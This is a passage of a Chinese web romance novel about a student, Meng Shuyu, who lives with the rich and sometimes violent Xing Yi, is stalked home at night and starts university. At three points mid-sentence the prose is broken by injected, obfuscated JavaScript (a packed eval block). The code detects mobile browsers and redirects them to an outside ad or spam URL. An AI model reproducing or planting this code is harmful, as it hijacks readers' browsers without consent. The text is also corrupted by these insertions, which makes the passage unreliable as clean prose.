她疑心自己记错价格,上网搜了搜。 好的,这条半身裙其实是里面最便宜的。 她心如止水关上了衣柜。 生活质量和平时差距太大,一时难以适应,她开始好奇邢屹的家世。 凌晨一点,她翻来覆去睡不着,起来整理书籍。 寄来的这些书都是徐以婵留下来的。 母亲看书时喜欢在空白处手写感悟,每本书都有她生前的笔迹。 孟纾语小心翼翼把书码放进靠墙的书架。 怕闹出动静吵到隔壁,她立刻拿起手机,点点按按。 Xx:[?] 这么巧,看见她正在输入了? 她快速回:[你还没睡吗?] [没有] [我在整理东西,会不会吵到你?] [房间隔音很好,你再大声也没人听见] 那就好。 [没事了,你早点睡吧] 这一晚,陌生的城市,陌生的房间,隔壁还睡了个不算熟悉的男生。 她望着天花板,希望今后一切安好。 最好跟邢屹保持距离。 - 这几天,邢美莱忙碌之余一直惦记着孟纾语,于是打电话给邢屹: “你带小语出门玩玩,喜欢什么就玩什么,东西也随便买。” 次日中午,孟纾语已经做好去动物园摸卡皮巴拉的准备。 谁知车子开到半路,邢屹接了个电话,直接把她撂在一家酒吧门口。 她整个人傻了:“我们来这里?” 邢屹眼皮都不撩一下,自顾按着手机飞快打字,对她说:“不是我们,是你。” “?”要不要听听你在说什么。 邢屹把手机扔回中控台,把车子往前开了一小段,方便她下车,“晚点再来接你,老板是我朋友,他带你玩,钱都记我账上。” “......哦。” 看来连送她回家的时间都没有,直接把她扔这儿了。 她不动声色下了车。 酒吧名叫baiser,内部是三层复式的结构,一楼卡座区围着一个舞台,乐手正在调试设备。 头顶是斑斓跃动的光线,快节奏音乐震得她六神无主,她慢慢往里走,落在她身上的目光越来越多。 “人到了吗?”吧台区一个二十出头的男生四下看看,目光锁定她,“穿格纹短裙那个是不是?…哦,刚毕业?行吧你放心,我照顾好她。” “小语!”男生朝她挥手,“这儿。” 走到吧台才看清,这男生满手臂的美式纹身。 “舞台正对面清一个卡座出来。”跟对讲器说完,他转头对她笑笑,“一会儿有好看的。喝点儿什么?” 她不想喝酒:“有果汁吗?” “没有,我让人给你现买。对了我叫秦双,有事你直接喊我名就行。” “好。” 酒侍把她领到卡座区,她一个人占了四人宽的座位。 隔壁卡座玩得很闹腾,在她坐下来时却静了一瞬。 有男生笑:“那姑娘一个人来的,把她叫过来一起玩?” “听说是邢屹带来的,你少打人家姑娘的主意,小心被他弄。” “我去,他开始包.养学生妹了?” 女生踢他一脚:“你嘴欠扇啊!” “切,说他两句你就急,就这么喜欢?哥好心劝你,别瞧他长得像有一百个女朋友的样,你看那么多人追他,他哪次动心了?前段时间有个洋妞,差点在他面前脱衣服了,他理了吗?别白费功夫了,这种人要么性冷淡,要么表里不一,私底下八成有性.瘾。” 女生白一眼:“他就是单纯不想谈恋爱不行吗?谁像你啊,死渣男,有本事你当着他面蛐蛐,看你敢不敢。” 那人哼一声。 孟纾语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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Shuyu:[他走了,我一个人看的] 毛婧婧:[?] “哈喽。”身边坐下一个卷发女生,是刚才隔壁那桌的,她笑笑说,“他们玩得太神经了,我可以在你这坐坐吗?” “可以。” “你是邢屹的朋友?”女生问。 “不算,只是认识的关系。” “哦。”女生指向台上,“看见了吗?那个DJ帅哥的左手臂,重度骨折。” 孟纾语抬头看去。 还真是,石膏厚得跟墙一样,都这样了还这么爱岗敬业。 她下意识问:“打碟打的吗?” “不是啦,是被邢屹打的。” 她很诧异:“被他打的?” “对。邢屹散打很厉害,那个DJ私下跟他切磋,然后就......成了你现在看到的这样。” “......” 更加坚定了她跟他保持距离的决心。 ... 邢屹七点过才来接她。 其实她有点不高兴,说好了要去动物园,半路却莫名其妙把她扔到酒吧,撂她这么久,天都黑了。 另一方面又觉得他这人暗藏凶险,万一哪天把她也打骨折了怎么办。 邢屹看出她脸色差,上车后,他转头看她低垂的脑袋,还有闲心逗她,捻起她一缕发梢扫扫她鼻尖:“生气了?” 余光看见一只骨节分明的手,她简直避之如凶器,咽咽喉咙说:“没什么,只是没看到水豚,有种期待落空的感觉,我自己缓一缓就好了。” 顿了会儿,邢屹开门下车,让她在车里等。 几分钟后,他回到车里。 那双把DJ小哥打骨折的手,给她带了一袋水豚形状的棉花糖,还有一盒哈根达斯冰淇淋。 她茫然接过棉花糖,邢屹拿冰淇淋的手突然收回,不咸不淡地睨她:“没影响?” 意识到他问的是生理期,她小声说:“没,能吃。” 他这才把冰淇淋给她。 车子停在酒吧后门,一勺冰淇淋刚刚送进嘴里,一对热吻的男女突然砰一声撞到车上,她吓得呛嗽。 邢屹给她开瓶矿泉水递过来,同时打开驾驶座车门,用力把车门朝前一顶。 情侣双双被撞飞,男人本要发作,回身瞬间清醒:“抱歉抱歉!我以为是我的车。” 邢屹一记冷眼扫过去,女人不好意思,赶紧把男人拽走。 孟纾语喝了点水,一口气终于顺了。 邢屹把自己的座椅往后调,一手垫在脑后,闭上眼:“慢慢吃,好了叫我。” “嗯。” 车里安静下来。 不知道他今天干嘛去了,手臂留了几处擦伤,纯白短袖的衣角还沾了灰迹,像小动物愤怒的爪印。 入夜,窗外霓虹渐起,远处高楼林立。 她吃完东西,耳边是他匀淡的呼吸声。 睡熟了吗? 她倾身观察。 昏昧光影落在他眉峰和鼻梁周围,勾勒清俊而锋利的轮廓,很难让人心无旁骛。 沉默间,他缓缓睁开了眼。 她快速往后退,突然被他攥住了手腕。 5. 回吻 她要抽回手,邢屹攥住不放:“别动。” 他倾身靠近,两人类似交颈相拥的姿势,距离近得失控,她下意识往后躲,被他扣住手腕反向一扯,她呼吸一滞,僵着身子定在原处。 他一只手朝前伸,在副驾靠近车门的一角,拿起她没喝完的矿泉水。 呼吸擦过她脸颊,他瞥她一眼,拉开距离的同时松开她的手,拧紧矿泉水瓶盖放回原位。 瓶盖上一秒是松的,如果她后退时碰翻了瓶子,说不定会洒一座椅的水,裙子也会湿。 她恍悟,指节蹭了蹭鼻梁。 邢屹懒声提醒:“安全带。” 她默默系好。 一路无言,车子兜兜转转开回别墅。 吃完晚饭,孟纾语又是第一个上楼。 她一直不确定邢屹的为人,今天跟他近距离接触,被他紧紧攥住手腕,他掌心的温度烫得她心头一震。 还是离他远一点好。 洗完澡看书发呆,突然很想老孟。 于是她打开手机云盘,悄咪咪登录老孟的账号。 云端文件夹里存了很多老孟给她拍的视频,类似单人Vlog,每条十分钟左右。 从她十二岁开始,到高中毕业,老孟每隔一个月就会给她拍一条,这些视频一帧又一帧,记录她七年的成长,见证她从寡言到开朗的全过程。 她随机点开一条视频回顾。 画面里,十二岁的孟纾语正抱着小熊枕头在客厅看电视剧,父亲的画外音冒出来:“表情这么严肃,想什么呢?” “我在想,慕容傲天太坏了,苏潼潼怎么能喜欢他呢?” 老孟开怀大笑:“那小语觉得什么样的男生才值得喜欢?” 她想了想,认真说:“当然是高高帅帅的,又聪明又勇敢,他既要尊重师长,又要关爱小动物,要做个温柔善良的人。” 原来她这么小就输出择偶观了。 孟纾语有点羞耻地退出视频。 ——咚咚。 敲门声响起,她前去开门,邢屹好整以暇倚在门边,单手递来一篮烘干的衣服。 保姆放在她卧室门口的,她忘记拿了。 她接过来,一手迅速遮住上面的蕾丝内衣。 “谢谢。” “不客气。”他微垂视线看她,漫不经心说,“快开学了,早点睡。” “好。” 邢屹离开,她快速关门。 准备开学了,学校里有他,家里也有他,那她的生活剧本岂不是要被他填充诸多剧情? 算了,只要不是什么奇怪的剧情就好,总之她下定决心离他远一点。 手机弹出消息。 毛婧婧:[呜呜,开学那几天不能找你玩了,我全家老小人手一张机票,非要陪我报到,说要参观美院的宿舍,我服了,就那小破宿舍塞得下那么多人吗,根本无从下脚,难道要我奶奶在暖气片上金鸡独立?] 孟纾语回了一长串哈哈哈。 直到京大正式报到那天,她才后悔笑话人家,自己也好不到哪去。 “莱姨,真的不用带这么多人去,你不是说让我办理外宿吗?我带去学校宿舍的东西不多,一个人整理得完。” 一分钟前,孟纾语看着后座四位慈眉善目的家政阿姨,她嘴角轻轻动了下,上车时差点崴到脚。 “谁说东西不多?”邢美莱专门赶回来陪她报到,戴上太阳镜悠然开车。 “我给你定制了床垫,还有一体式床帘,安装肯定需要人手呀,再说了,宿舍是公共区域,那么多人住过,桌子和床总得认真消消毒吧。” “......” 于是,正如邢美莱安排,女寝401开始了紧锣密鼓的清扫和安装。 三个舍友陆续赶到,邢美莱跟她们微笑问好,臂弯的限量款鳄鱼皮包有点晃眼。 舍友路露假装整理桌面,胳膊肘怼了怼路过的陈雅甜,小声打探:“对床什么来头啊,家里这么有钱?” 短头发的陈雅甜一蹦三米远,中指推了推眼镜:“请不要随意肢体接触,谢谢。” “啊是这里!”一个女生兴奋跑进门,跟陈雅甜对上眼,吓得后退,“不好意思不好意思,请问这是男寝吗?” 床位靠门的路露默不作声,把包里的化妆品摆上书桌。 女生松口气:“还好没走错,你们好我是1床许莓,多多指教!”还鞠了个躬。 邢美莱轻咳一声,贴在孟纾语耳边小声说:“你这些新舍友,好像都不大对劲。” 眼前,是四个家政阿姨有条不紊为她打扫卫生的画面。 孟纾语闭了闭眼。 姨,全寝最不对劲的人应该是我。 临近中午,邢美莱有个生意上的电话突然打进来,只好嘱咐孟纾语几句,转身带着一组家政阿姨浩浩荡荡离开。 孟纾语端详着自己的“豪华版”床位,拍了张照片发给老孟。 老孟:[好漂亮呐!这是今年新装修的宿舍楼?] Shuyu:[你可以这么认为] 老孟:[真好真好,晚点给老爸打视频] [吃饭了没?] “吃饭吗大家?”许莓热情邀请,“走嘛,一起去尝尝学校食堂。” 四人一致同意。 今天迎新,食堂多了一拨尝鲜的新生,剩下的,全是精疲力尽急需回血的学长学姐。 “妈呀,那箱子里装的是水泥啊?重得要死,学长是铁打的吗?!” 孟纾语跟舍友们排着队,前面有男生叫苦连天。 路露怼怼她胳膊:“看前面,有帅哥。” 她抬眸看去。 凭背影就认出来了。 邢屹肩宽背挺,鹤立鸡群的身高让人一眼就注意到,一身简单的白衣黑裤,手里懒懒散散勾着挂脖用的迎新工作牌。 他身边站着的男生有点眼熟。 想起来了,是之前在超市买醋时看见的,他的朋友。 彭霖甩着手臂,贱兮兮往邢屹身上靠:“屹哥哥,胳膊酸死了,给我揉揉。” 邢屹插着兜排队,语气和善:“去死。” “好,你这个薄情寡义的男人。”彭霖站直,四下看看,“我女神呢?她怎么还不来吃饭?” “那么多个食堂,她非要在这吃?”邢屹补刀。 没听清他们接下来说什么,打饭窗口排到她们的时候,他俩已经不见了。 孟纾语端着自己的海南鸡饭,跟随室友找位置坐下。 路露坐在旁边玩手机,忽然拍拍她:“我搜到了!他是大二能源与动力工程系的,叫邢屹。你看,这有照片。” 手机递了过来,孟纾语不动声色点点头:“嗯,是他。” 陈雅甜不参与话题,坐在位子上玩音游。 “帅哥,有兴趣加入散打社吗?”一个男生突然凑过来发社团传单,陈雅甜幽幽抬起头,“我是女的。” 男生大惊失色:“对不起对不起!搞错了。” 他尴尬得正要走,孟纾语叫住他:“你好,可以给我一张宣传单吗?” 路露和许莓齐刷刷:“你会散打?!” “不会,但我可以试着练一下。” 毕竟像邢屹那样把别人胳膊打折的感觉,一定很爽。 另外,要是他欺负她,她至少还能打回去。 男生喜笑颜开给她递了宣传单,附加一张表。 “学妹,你要是感兴趣的话,填一下这个报名表,两周之内交到我们活动室就行,到时会通知你面试。” “好,谢谢。” 男生回到斜对角那桌,桌上一个寸头男瞥来一眼,剥着白煮蛋嘲讽:“你傻了吧,跑女生那桌去招新?女的能有几个体力好的,俯卧撑能做三个就不错了,别把咱们散打社的招牌给砸了,本来就没什么人报名,还组什么娘子军啊,搞不搞笑。” 孟纾语听得一清二楚,她跟许莓借了只笔,当场填表。 两分钟后,大大方方甩到对方桌上。 “我报名。” 寸头男咬了口蛋黄,上下打量她。 孟纾语回他一个无所谓的眼神,转身离开。 前脚刚走,身后就传来汤水溅洒的动静。 “哇啊!”寸头男大叫。 “抱歉,手滑了。”是邢屹的声音,听上去浑不正经,一点歉意都没有。 孟纾语自顾走远,听不清了。 周洪违被泼了一身的汤,本要发作,一看是邢屹,立马狗腿:“没事儿,我该往里坐坐。正好,你坐这儿。上回跟你说的事,考虑得怎么样啦?” 邢屹闲闲坐下,拿出手机划动,问是什么事。 “你忘啦?就是请你来我们散打社,当一段时间副社长,带新社员训练的事儿。” 邢屹浑不在意:“你们不是有副社长?” “唉,就他那胳膊,指不定什么时候拆石膏呢,兼职打碟都费劲,怎么带人训练啊。” “别这么看我,那家伙自己想不开要跟我打,我好心配合。” “不不不,没怪你。”周洪违面露难色,“只是,要是实在没有副社长,那我只能亲自带人训练了,时间有点挤不出来......” 邢屹划着手机,扫一眼桌角的报名表。 收回视线说:“晚点等我消息。” 这一边,孟纾语淡定吃饭,许莓一直在吐槽寸头男下头,路露突然插道:“好像有很多女生追他,不止我们学校的。” “追他?!”许莓差点喷饭。 “不是不是!不是那个寸头男,我说的是邢屹啦,很多人追他,他确实很招人,长得帅家里又有钱,信昀集团你们知道吧?就是他外公创立的,邢屹这种人出生就在罗马,真让人羡慕嫉妒,还是保送进来的,天知道这两个字有多馋人。” 毋庸置疑,邢屹是真的很耀眼。 京大灌水群里有人立下规矩说,在脸蛋和财富完胜的前提下,身高和智商双高的男生才配得上一个帅字。而邢屹各方面的指标,都很不给人面子地拉满了。 或许是底气太足,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200964|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上经常有种游刃有余的松散劲,从来不缺锋芒,只是不留痕迹,等别人意识到他身上有那些耀眼特质的时候,心跳早就被他介入了。 路露叹道:“可惜,他好像对女孩子没什么兴趣。” 孟纾语手机震了下。 Xx:[什么时候回家] 她回复:[我们下午要去ktv玩,可能晚上回去吧,不在家吃饭了] 隔了很久,邢屹又问:[真打算进散打社?] [嗯嗯] [不后悔?] [不后悔] 这句发完,他就没再回了。 无缘无故问她加社团的事干嘛。 她放下手机专心吃饭,期待下午的聚会。 ... 寝室四人的老家凑齐了东南西北,大家性格各异,却意外合拍。 ktv包厢傍晚到钟,路露又续了六个小时。 孟纾语好久没来ktv,唱这么久,嗓子都哑了。 凌晨,聚会结束,路露她们结伴返校,几人相互道别,孟纾语拖着沙哑的嗓子独自上了公交,回颐云公馆。 路露拉了个群,她点开微信查看,朋友圈图标忽然冒出红色数字。 有病吧,卓耀明把她仅存的十八条朋友圈赞了个遍,狂刷存在感。 必须删掉他。 到站,她一边按手机一边下了公交车,有个穿黑衣服的高个子男人也跟着下来。 别墅区周围异常僻静,晚上更是没几个人。 她独自走在路边,还要步行很长一段路才能到家。 走到一半,身后的脚步声一直没散去,她转弯,那人就跟着转,她放慢步伐,那人就跟着慢。 不对劲。 她快速点开通讯录。 附近一家兽医院里,邢屹站在救助笼前查看狗的情况。 这狗是前几天救下来的,当时他正准备陪孟纾语去动物园,半路收到志愿小队的消息,说有只瘸腿的黑狗,特别凶,必须他来处理。 于是这狗嚣张不到一会儿,被他干脆利落地抓获。 笼子里,小黑狗戴着救助项圈,被人恶意碾断的前腿缠着绷带,邢屹一靠近,它就狂吠,龇牙咧嘴的,真咬又不敢。 邢屹嗤笑了声。 “怂狗。” 他伸手逗着狗鼻子问,“营养针打了吗?” “打了。”医生说,“四个护士按着它打的,太凶了这狗,你怎么救下来的?” 邢屹没有多解释。 “活着就行。费用先结吧。” “好,我看看......加上其他零碎的检查费,目前一共是三千七。” 邢屹拿手机点出付款码,一个电话突然进来。 听筒里的声音有点哑,听不太清。 “你说什么?”邢屹大步往外走,经过前台扔了张卡,“刷这张。” ... 孟纾语还在路边兜圈子。 那男人的脸裹得严严实实,活像鬼。 鬼还好一点,人比鬼可怕。 凌晨降温,她不由得打了个寒噤。 再次拐弯,确认了,男人就是在尾随。 微信开着位置共享,手机快没电了,要是邢屹给她打电话,她都不一定能接到。 心脏敲锣打鼓,她深呼吸,在不怀好意的脚步声快速逼近时,一束强有力的灯光突然从身后射过来。 急刹声戛然而止。 “上车。” 沉磁果断的声线闯入耳畔,她如释重负。 跟踪男已经消失不见,她上车时魂不守舍,跑车底盘又低,她差点摔在座椅上,邢屹扶住她的腰,脱下自己的黑色冲锋衣给她,“穿上。” 她穿好衣服缓了口气,衣料余温游过身体,像在安抚。 邢屹先把她送回家,称有事要处理,又驾车离开了。 孟纾语心有余悸,听他的话把大门反锁,回房间静了静。 但凡晚一点发出求救信号,她可能就回不来了。 现在这世道真是不太平。 又想了想,原本决定离邢屹远一点,现在反而欠了他人情。 算了,以后慢慢还吧,命最重要,特殊情况下没必要硬着头皮,就算是孙悟空也得搬救兵。 半晌,院子里传来车的动静。 邢屹回来了。 她快步下楼,两人在楼梯中央相遇。 邢屹闲闲插着兜,清俊的眼尾轻微上挑,看着她:“没事,已经报警了。” 她攥着楼梯扶手,咳了一声说:“谢谢。” 他觉得怪有意思:“什么歌啊,好好的嗓子唱成这样。” “......比较鼓舞人心的歌。” 他兀地笑了,迈步上楼,顺手揉她脑袋,让她早点洗澡睡觉,别想太多。 “好。” 刚要转头,一抹深红闯入余光,她愣了下,视线落回他衣角。 回来之前明明没有的。 所以为什么......他的衣服沾了血? 6. 回吻 “被变态跟踪?!” 毛婧婧在电话里心急火燎,“那现在是个什么情况?” “现在没事了,我刚洗完澡。”孟纾语穿着睡裙下楼,“邢屹帮我报警了,他说警方在查监控,有线索就会通知的。” “吓死了,没事就好。”毛婧婧松了口气,“你别怕,我上网给你挑一套防狼装备。” “......好。对了,我决定加入社团,练散打。” “可以啊,正好能防身。诶对了,你说邢屹身上有血是怎么回事?” “这个......”孟纾语慢悠悠来到开放式厨房,走到冰箱前,“他说是蹭到颜料了,但一点也不像,血和颜料区别很大的,看得出来。” “这样啊,那就只有一种可能,他揍人了。” “你是说,他揍了那个变态吗?不可能,说不定他还嫌我麻烦呢,今晚是迫不得已才求助他的,我和他的关系根本不值得他揍人。” “哦,所以你俩现在是什么关系,连朋友都不算?” “唔......”她想了想,一手打开冰箱门,“应该只是,睡——” 睡在隔壁的关系。 后半截话还没落地,头顶伸过一条劲瘦的胳膊,冰箱灯光照亮青筋纹路。 邢屹直接伸手越过她头顶拿了瓶水。 电话里平地一声雷:“睡过的关系?!” 手机差点甩飞,她说了声拜拜连忙挂了。 世界瞬间安静。 她从冰箱里拿了一瓶东西出来,立刻关上箱门。 邢屹靠着岛台单手开一罐汽水,他刚洗完澡,身上一件纯白T恤加宽松的灰色运动裤,清瘦有型的锁骨敞在她眼前,空气里浮着那股清澈的葡萄柚香味。 两人面对面,她心不在焉拧开盖,开始思考。 需不需要解释上一秒的误会? 算了,越描越黑。 邢屹若无旁人划起了手机,她斟酌片刻问:“莱姨这次出差,多久才回来?” 他咽下汽水,喉结滚了滚,头也不抬地说:“两天,两个月,都有可能。” 邢美莱专注古董生意,一些珍贵易碎的收藏品不便运输,需要她带着团队跨洋过海,亲自到场走一遍鉴定流程,要是遇到复杂点的情况,出差一次就是两三个月。 孟纾语点头:“好,知道了。” 邢屹看向她,不着痕迹地笑了下:“不想单独跟我住?” “......”问到点子上了。 远处立着一盏温黄的落地灯,两人的影子双双被拉长。 她反问:“那你呢,家里多了个人,你会排斥吗?” 邢屹放下汽水,两条手臂懒懒向后撑着,微垂视线看她。 “那倒不会。” 好吧,也不妨碍两人今后继续保持距离。 她沉默片刻,注意到他手臂内侧有一道不太起眼的疤痕。 邢屹知道她在看,主动满足她的好奇心:“之前救了只狗,被咬了。” 她记忆回溯:“就是你头像上那只?” “嗯。它上个月去世了,犬瘟,没救活。” “哦......”难怪说它去了天堂。 她细致入微地想,“那你上次来酒吧接我,衣物脏了,也是因为救了流浪狗吗?” “嗯,那狗蹬了我一脚。” “......”被咬过蹬过还坚持救狗,她只能想到一个原因,“你很喜欢小狗吗?” “还行。”他往她手上睨一眼,半开玩笑地问,“你要吃这个?” 一低头,手里拿了罐芝麻酱。 难怪半天拧不开盖。 她说拿错了,赶紧放回去,又一本正经跟他道了声晚安,匆匆上楼。 未曾觉察,身后那道幽邃视线一直黏在她身上。 - 周一开学典礼。 邢屹作为学生代表上台发言,一身休闲款深色西服,贵气满得要溢出来,举手投足云淡风轻,却总让人觉得这男人其实百无禁忌。 其实他的气质很难形容,既不是冰冷正经的高岭之花,也不是拽到欠揍的混蛋少爷。 他时刻掌握着独有的分寸感,游刃有余而善于谈笑,不会随意发怒,也懒得管闲事,偶尔亦正亦邪,旁人猜不出他性格的临界点究竟在哪。 以至于别人越来越好奇,像他这样的人,私下接吻做.爱时又是什么样子。 邢屹站在台上,懒洋洋把话筒架往上拉了一截,单手插兜,另手拍了拍话筒试麦,沉磁倦淡的嗓音环绕礼堂。 “很荣幸,今天可以站在这里,代表京大欢迎全体新生的到来。” 台下昏昏欲睡的同学瞬间来了精神,拿起手机偷偷拍视频。 孟纾语埋头划着手机买二手教材,路露贴在耳边说:“我敢打赌,他在床上一定很顶。” “......” 思绪一乱,错买成医学教材,她赶紧退掉。 临近中午,典礼终于结束。 大家顺着楼梯鱼贯而下,有男生趁着人群骚动挤到她面前。 “同学,可以加个微——” 话没说完,他手机被撞掉了,邢屹自顾走下台阶,睨他一眼:“不好意思,没看见。” “啊,没事没事。”男生忌惮他的气场,捡起手机快步下楼。 孟纾语有点状况外,路露近距离观察邢屹,挽起她胳膊晃了晃:“绝了,好一款恃帅行凶的男人,你有没有产生想法?” 这里人多耳杂,话可不能乱说,她一口否认:“没有,不是我喜欢的类型。” 两人错身,邢屹扫一眼她快速下楼的背影,不动声色收回视线。 手机进来一条短信,来自无备注号码: [小屹,我到京北了,有空一起吃顿饭吧,我带上你弟弟,一家人好好聚聚] 他嘴角嘲讽地动了动,回一个“好”。 下午,他开车前往国贸,到达一家云顶西餐厅。 卓耀明显然不愿来,到了餐厅门口还跟卓远拉拉扯扯。 “进去啊!他是你哥你怕什么?你个没出息的,名校考不上,亲哥你还攀不上吗?不趁这个机会跟邢屹打好关系,你还想等到什么时候?” 卓耀明鼻青脸肿,说是打篮球被砸到了,卓远骂他马虎,他借题发挥:“爸,你看我这副模样,真不合适见人,改天吧。” “说什么屁话,来都来了!”卓远说一不二,硬是把人押进来。 邢屹翘着二郎腿靠坐在沙发椅上,玩了几局消消乐,一声“Unbelievable”响起,那父子俩正好走过来。 “不好意思来晚了,”卓远脸上堆着笑,“路上堵车。” 卓耀明跟父亲一起坐下,别扭地端起杯子喝水。 邢屹把手机抵着桌面转了一圈,静静看着卓耀明,微挑眉梢:“新眼镜不错。” 卓远替人搭腔:“嗐,他前两天打球伤了眼睛,镜片也碎了,给他换了新的。” “这样啊。”邢屹歪头打量这个同父异母的弟弟,关怀十足,“伤得重不重?” 卓耀明闷不吭声,卓远推他一下:“你哥问你话呢。” 他硬邦邦说:“没什么,小伤。” “是么,看着挺严重啊。”邢屹拖着懒散腔调,笑了下,“还以为你干了什么坏事被人打了。” 卓耀明咬紧后槽牙。 卓远开始闲聊,话里话外拿他跟邢屹作比较,让他向哥哥学习,别整天吊儿郎当没出息。 他默默喝水,压下嫉妒和恼怒。 不远处传来声音。 “假的假的!落款都仿不好,能卖个两千当花盆就不错了,什么两千万,就你信,我是武则天你信不信?挂了!” 路过的服务生对邢美莱点头问好,她顺手叫住对方,“老样子,少油少盐少糖。” “好的莱姐。” 邢美莱刚要坐下,视线一晃看见熟悉的身影。 她气不打一处来,好你个卓远,又想打我们邢家人的主意。 卓远磨磨蹭蹭点完菜,图穷匕见:“小屹,我过几天就回宁城了,有件事想拜托你。耀明考上的大学虽然不上不下,但好在离你近,你俩平时多联系,你也看情况帮衬帮衬他,毕竟他是你弟弟,一家人。” “谁跟你一家人?” 邢美莱闪现,卓远当即愣住。 她扫一眼僵滞的卓耀明,抱臂冷哼,“怎么,你爸软饭硬吃,你个小三的儿子也想厚着脸皮抱大腿?” 卓耀明面露尴尬,卓远开腔:“他一个孩子,你跟他计较什么?再说了,邢屹是我亲儿子,我拜托他照顾弟弟怎么了?” “你识字吗?邢屹姓什么你心里应该有数吧,演什么血浓于水,是觉得别人忘了你的光荣事迹?当年没让你对着我姐下跪磕头已经仁至义尽了,你要点脸吧。” 争执吸引了周围目光,卓远脸色涨红:“别拿你姐说事,我跟我大儿子见面,和她有什么关系?我不配见,她就配了?横竖都是她对不起小屹,我可没有。” 邢屹眼底的嘲讽一闪而过,勾起车钥匙起身,“有事,先走了。” - 院子里,孟纾语专心给花花草草浇水。 门铃响了。 她转头看见来者,表情一下就垮了。 “你来干什么?” 卓耀明扒住雕花栅栏门的金属条,干笑两下:“听说你住在这儿,我来看看你。” “不用,你走吧。” 她转过身自顾浇花,卓耀明注视她缀着光线的清甜侧脸,心里莫名发痒。 “孟纾语,你可不可以换个地方住?我爸在学校附近给我留了套公寓,我把钥匙给你,你搬进去吧。” “你有病吗?”真想拿浇花器滋他一脸。 初中转学前跟卓耀明同班,两人前后桌,他成天犯贱,不是拿笔戳她后背,就是用力扯她马尾,放学还在楼梯间堵她,抢她的书包。 那年妈妈因病去世,她情绪受影响,话很少,卓耀明经常嘲她是不是哑巴。 她不理他,他就捉一只蟑螂藏在她课桌里,她吓得尖叫,而他笑得不行,说你看啊,你还是会出声的嘛。 她想想就气。 卓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200965|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀明浑然不觉:“你信我,住在这里你真的会后悔的,邢屹不是什么好人!他坏透了!” “你少造谣。” 卓耀明急了:“你干嘛把他想得那么好啊?” “你管我?给你三秒时间快点走,再不走我报警了。” “我...诶你别拿水滋我!好好好,我马上走,但你能不能......把我从黑名单里拖出来?” 她拿出手机,面无表情说:“你走了我就同意。” “那、那好,你一定要记得啊!”卓耀明磨磨唧唧离开。 等人走了,她把手机放回口袋。 黑名单里待着吧你。 不多时,院子大门又有动静。 她心累:“不是说让你走了吗,你怎么——” 一回头,邢屹开门进来。 她怔在原地,邢屹微眯起眼看她,顺手关上大门,面带疑惑:“你说什么?” “没什么,刚有只狗过来叫了几声,我让它走了。” “哦。在浇花?” “对,园丁大叔请假了,我就帮忙浇浇水。”说完便低下头忙活。 心情全都写在脸上,邢屹一眼就看出来了:“不高兴?” 她默不作声,邢屹从她手里拿过浇花器,把水流调到最密一档,水洒出来像雾一样。 烈日下,他把喷雾头向上举起,水雾披上一身阳光,朦胧中熠熠生辉,像一场太阳雨。 她盯着雾帘神游天外,邢屹睨她一眼,懒洋洋在她面前打了个响指:“彩虹。” 她顿时醒神。 半空中一抹绚丽色彩,在逗她开心。 转头四目相对,邢屹垂眸看着她,眼底有一丝游刃有余的慵懒,在阳光下显得格外清澈。 心尖像被什么撞了一下,她快速别过脸。 想到这段时间,她一直怀疑邢屹不是好人,尝试远离他,但他对她处处友好,帮了她很多忙,甚至还会逗她开心。 结论已下:其实他真的不坏。 ... 转眼到了晚上。 睡前,孟纾语趴在床上看手机,登教务网查看课表,几条信息突然弹出来。 这年头还有人发彩信? 她点开,几张图片哐哐加载出来。 肿胀的眼眶、糊满血的鼻子、淤青的胳膊。 吓得差点把手机扔了。 谁给她发血腥图?! 随即收到文字信息:[孟纾语,你骗我,你根本没有把我从黑名单里拖出来,呜呜呜呜] “?” 她气恼回复:[所以你就发这种图来吓我吗!] 卓耀明慌忙解释:[不不不!不是要吓你,这是我那天晚上被揍之后拍下来的,是不是特别惨啊?都是邢屹打的!] 打成这样,什么仇啊...... 她捏了把汗:[他为什么打你?] [呜呜呜,他看我不爽,就打我了,他故意的,他就是个坏种!] 孟纾语觉出猫腻,质问他:[那天晚上跟踪我的人就是你吧] [什么?我不知道,你在说什么?你被跟踪了?] 真能装。 她飞快打字:[等我拿到证据锤你,你就去警局喝茶吧] 她气愤之余再三思考,下床离开卧室,鼓起勇气敲响隔壁的房门。 邢屹慢腾腾开门,居高临下睨着她,她瞥见他房间里的游戏大屏,一场赛车游戏中途暂停了。 他穿一件宽松的黑色背心,一看就刚洗完澡,短发还是湿的。 孟纾语简单复述一遍来龙去脉,追根究底地问:“你那天晚上真的报警了吗?” 邢屹插兜倚在门边,轻浮地笑:“怎么,觉得我在骗你?” 孟纾语顿了顿,突然觉得他眼神变了,跟白天的清澈感截然相反。 她斟酌道:“抱歉,我只是想知道,那晚跟踪我的人究竟是不是卓耀明,还有......你是不是打了他?” 邢屹眯起眼:“你心疼他?” “没有,怎么可能。”她一口否认。 邢屹不再接话了。 被他这么意味深长地盯着,她有点词穷。 这么晚了,说不定打扰到他了,他不是最讨厌被人打扰吗。 明天再说吧。 “抱歉,你先休息吧,没什么事,我就问问。” 刚要走,突然被他扯着手腕拽进卧室。 